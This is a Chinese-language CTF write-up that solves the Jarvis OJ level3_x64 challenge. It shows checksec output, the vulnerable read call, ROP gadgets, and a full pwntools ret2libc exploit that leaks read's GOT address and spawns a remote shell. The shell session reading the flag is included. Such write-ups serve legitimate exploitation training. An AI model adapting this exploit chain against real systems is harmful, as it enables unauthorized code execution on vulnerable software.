用jarvis复习复习,题总是做不出来...☹
0x01寻找漏洞
checksec
kk@ubuntu:~/Desktop/black/Jarvis Oj/level3$ checksec level3_x64
[*] '/home/kk/Desktop/black/Jarvis Oj/level3/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启NX,不能转入shellcode
ida
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL); ==>存在很明显的栈溢出
}
0x02利用思路
程序中没有system
函数和/bin/sh
字符串,但是有read
和write
函数,可以利用泄露。
题目给出了libc文件,利用write
泄露出read
在got表中的地址,计算偏移,找到system
和/bin/sh
地址
64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9。当参数为7个以上时,前6个与前面一样,但后面的依次从“右向左”放入栈中。
在这道题中,rdi
,rsi
,rdx
分别对应文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)
,起始地址
,读入的长度
kk@ubuntu:~/Desktop/black/Jarvis Oj/level3$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
要构造栈,查找到0x00000000004006b3对应rdi
和0x00000000004006b1对应rsi
,但是rdx
我们还没有控制,此时检验rdx
的长度只要不小于8字节即可(泄露的地址大小 = 0x8)。
0x000000000040060b in vulnerable_function ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
RAX 0x7fffffffddb0 ◂— 0x0
RBX 0x0
RCX 0x7ffff79002c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x200 ===========================================================> rdx >= 8
RDI 0x1
RSI 0x4006d4 ◂— outsb dx, byte ptr [rsi] /* 'Input:\n' */
R8 0x4006c0 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp
R10 0x86f
R11 0x346
R12 0x4004f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdf30 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x400650 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffddb0 ◂— 0x0
RIP 0x40060b (vulnerable_function+37) ◂— mov rsi, rax
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0x400602 <vulnerable_function+28> lea rax, [rbp - 0x80]
0x400606 <vulnerable_function+32> mov edx, 0x200
► 0x40060b <vulnerable_function+37> mov rsi, rax
0x40060e <vulnerable_function+40> mov edi, 0
0x400613 <vulnerable_function+45> call read@plt <0x4004c0>
0x400618 <vulnerable_function+50> leave
0x400619 <vulnerable_function+51> ret
0x40061a <main> push rbp
0x40061b <main+1> mov rbp, rsp
0x40061e <main+4> sub rsp, 0x10
0x400622 <main+8> mov dword ptr [rbp - 4], edi
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rax rsp 0x7fffffffddb0 ◂— 0x0
... ↓
04:0020│ 0x7fffffffddd0 —▸ 0x7fffffffdf48 —▸ 0x7fffffffe2e1 ◂— 'XDG_VTNR=7'
05:0028│ 0x7fffffffddd8 ◂— 0x0
06:0030│ 0x7fffffffdde0 ◂— 0x1
07:0038│ 0x7fffffffdde8 —▸ 0x7fffffffdf48 —▸ 0x7fffffffe2e1 ◂— 'XDG_VTNR=7'
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 40060b vulnerable_function+37
f 1 400633 main+25
f 2 7ffff7829830 __libc_start_main+240
0x03攻击
小声bb:传参传参很重要啊,要会构造啊!!!
#!usr/bin/python
from pwn import *
# context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9883)
# io = process("./level3_x64")
libc = ELF("libc-2.19.so")
elf = ELF("./level3_x64")
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
write_plt=elf.plt["write"]
read_got=elf.got["read"]
vul_addr=elf.symbols['vulnerable_function']
io.recv()
payload = "a" * 0x80 + "a" * 8
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + "a" * 8 + p64(write_plt)
payload += p64(vul_addr)
io.sendline(payload)
read_addr = u64(io.recv()[0:8])
print "read_addr ==> "+hex(read_addr)
offset = read_addr - libc.symbols["read"]
sys_addr = offset + libc.symbols["system"]
binsh_addr = offset + libc.search("/bin/sh").next()
payload = "a" * 0x88 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(vul_addr)
io.sendline(payload)
io.interactive()
kk@ubuntu:~/Desktop/black/Jarvis Oj/level3$ python exp.py
[+] Opening connection to pwn2.jarvisoj.com on port 9883: Done
[*] '/home/kk/Desktop/black/Jarvis Oj/level3/libc-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kk/Desktop/black/Jarvis Oj/level3/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
read_addr ==> 0x7f1fdd3a2350
[*] Switching to interactive mode
Input:
$ ls
flag
level3_x64
$ cat flag
CTF{自己试试口喜口喜}
$
网友评论